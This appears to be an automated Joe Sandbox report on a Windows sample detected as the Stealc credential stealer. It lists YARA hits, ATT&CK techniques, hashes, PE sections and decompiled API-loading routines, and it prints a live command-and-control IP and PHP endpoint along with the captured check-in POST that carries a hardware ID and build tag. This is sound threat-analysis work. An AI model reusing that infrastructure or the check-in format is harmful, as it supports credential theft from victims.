Source: Yara match	File source: 0.2.file.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1759771807.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1800775191.000000000113E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1759771807.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1800775191.000000000113E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	651 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37	file.exe, 00000000.00000002.1800775191.000000000113E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpva=T	file.exe, 00000000.00000002.1800775191.0000000001184000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/4D	file.exe, 00000000.00000002.1800775191.0000000001197000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phph	file.exe, 00000000.00000002.1800775191.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/01	file.exe, 00000000.00000002.1800775191.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpBa	file.exe, 00000000.00000002.1800775191.0000000001184000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528823
Start date and time:	2024-10-08 10:27:19 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 18 Number of non-executed functions: 85
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	7AeSqNv1rC.exe	Get hash	malicious	MicroClip, Vidar	Browse	185.215.113.117
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947259488047634
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'844'224 bytes
MD5:	f10c33b85dcdad1afd46afc292250f45
SHA1:	cbf1860f2913584c90cb369f65cc2f3f9ed07f7d
SHA256:	fef07dfe69df3e939e6a3bc0e097b4507e052f873bd8d0cffe54508c9ce7e6af
SHA512:	10506977154e5173fba89780137e3bdf5e7180817637a62bbd00fbef8fc58337ff71cb19a2d821446ace08b3191ce7420b746f1b998f3a63e3de4780221d4e18
SSDEEP:	24576:k+lZYWfCkenyLbTxc8AK5Km5MsjjXkp/EO+Oqd+kE61X4sEU9oTCCPURcO9GVw3y:kexfiT8H/POs2XjTtVPdAOR
TLSH:	1E8533D79A73CBDDEB0D46FB12BA22E071BB2025DD879E271B68766C0C1310425D5EB8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa99000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F402CC5FACAh
lar ebx, word ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F402CC61AC5h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	ee243077115dcafa9927faee7f28b9f3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29d000	0x200	da1e3ff8bebdf53ec3c0a590e1a30b5c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zmsppxmk	0x4fb000	0x19d000	0x19c200	6e17a05154c05cb23d2430ed07ac1e1b	False	0.9947472370715802	data	7.953354892161169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bobhsqhc	0x698000	0x1000	0x400	bd24bc7690f1e954fd8fbec4050e777a	False	0.8388671875	data	6.428862276040028	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x699000	0x3000	0x2200	48c8e8ad16c2ca4e10fa9ff8dfa44a4c	False	0.06387867647058823	DOS executable (COM)	0.7231270511394494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T10:28:21.774078+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 10:28:20.810684919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 10:28:20.815936089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 10:28:20.816036940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 10:28:20.816272974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 10:28:20.821115971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 10:28:21.530180931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 10:28:21.530308008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 10:28:21.532651901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 10:28:21.537703037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 10:28:21.773912907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 10:28:21.774077892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 10:28:25.583175898 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 10:28:20.816272974 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 10:28:21.530180931 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 08:28:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 10:28:21.532651901 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 46 39 41 37 46 38 46 31 32 44 34 31 30 36 38 35 34 30 37 36 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 2d 2d 0d 0a Data Ascii: ------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="hwid"6F9A7F8F12D41068540764------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="build"doma------JKJDAEBFCBKECBGDBFCF--
Oct 8, 2024 10:28:21.773912907 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 08:28:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	04:28:16
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x380000
File size:	1'844'224 bytes
MD5 hash:	F10C33B85DCDAD1AFD46AFC292250F45
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1759771807.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1800775191.000000000113E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	25

Executed Functions

Function 00399860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,011521E8), ref: 003998A1
GetProcAddress.KERNEL32(74DD0000,01152458), ref: 003998BA
GetProcAddress.KERNEL32(74DD0000,01152188), ref: 003998D2
GetProcAddress.KERNEL32(74DD0000,01152200), ref: 003998EA
GetProcAddress.KERNEL32(74DD0000,011522A8), ref: 00399903
GetProcAddress.KERNEL32(74DD0000,011590B0), ref: 0039991B
GetProcAddress.KERNEL32(74DD0000,011453F0), ref: 00399933
GetProcAddress.KERNEL32(74DD0000,01145330), ref: 0039994C
GetProcAddress.KERNEL32(74DD0000,01152218), ref: 00399964
GetProcAddress.KERNEL32(74DD0000,01152278), ref: 0039997C
GetProcAddress.KERNEL32(74DD0000,01152230), ref: 00399995
GetProcAddress.KERNEL32(74DD0000,01152248), ref: 003999AD
GetProcAddress.KERNEL32(74DD0000,01145550), ref: 003999C5
GetProcAddress.KERNEL32(74DD0000,01152260), ref: 003999DE
GetProcAddress.KERNEL32(74DD0000,011522F0), ref: 003999F6
GetProcAddress.KERNEL32(74DD0000,01145350), ref: 00399A0E
GetProcAddress.KERNEL32(74DD0000,01152308), ref: 00399A27
GetProcAddress.KERNEL32(74DD0000,01152320), ref: 00399A3F
GetProcAddress.KERNEL32(74DD0000,01145370), ref: 00399A57
GetProcAddress.KERNEL32(74DD0000,01152338), ref: 00399A70
GetProcAddress.KERNEL32(74DD0000,01145430), ref: 00399A88
LoadLibraryA.KERNEL32(01152470,?,00396A00), ref: 00399A9A
LoadLibraryA.KERNEL32(011524E8,?,00396A00), ref: 00399AAB
LoadLibraryA.KERNEL32(011524A0,?,00396A00), ref: 00399ABD
LoadLibraryA.KERNEL32(01152488,?,00396A00), ref: 00399ACF
LoadLibraryA.KERNEL32(01152500,?,00396A00), ref: 00399AE0
GetProcAddress.KERNEL32(75A70000,01152518), ref: 00399B02
GetProcAddress.KERNEL32(75290000,011524D0), ref: 00399B23
GetProcAddress.KERNEL32(75290000,011524B8), ref: 00399B3B
GetProcAddress.KERNEL32(75BD0000,01152530), ref: 00399B5D
GetProcAddress.KERNEL32(75450000,01145250), ref: 00399B7E
GetProcAddress.KERNEL32(76E90000,011591B0), ref: 00399B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00399BB6

Strings

NtQueryInformationProcess, xrefs: 00399BAA

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 0dbb15979f8127da16a89459921e5098375d8972816802c1c66fe9b0725fc3e3
Instruction ID: 0afa8450dcb3e2371a29d91b22d20635bc77a6efdd8a56d5291d6a3c66bfd0f3
Opcode Fuzzy Hash: 0dbb15979f8127da16a89459921e5098375d8972816802c1c66fe9b0725fc3e3
Instruction Fuzzy Hash: 30A1BFB5500A489FD308EFA8FD88E563FF9F76C309704851AE605C3225D779984AFB16

Function 003845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0038460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0038479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003846B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003846D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003846AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003846CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003845E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003845DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003845D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003846C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384770
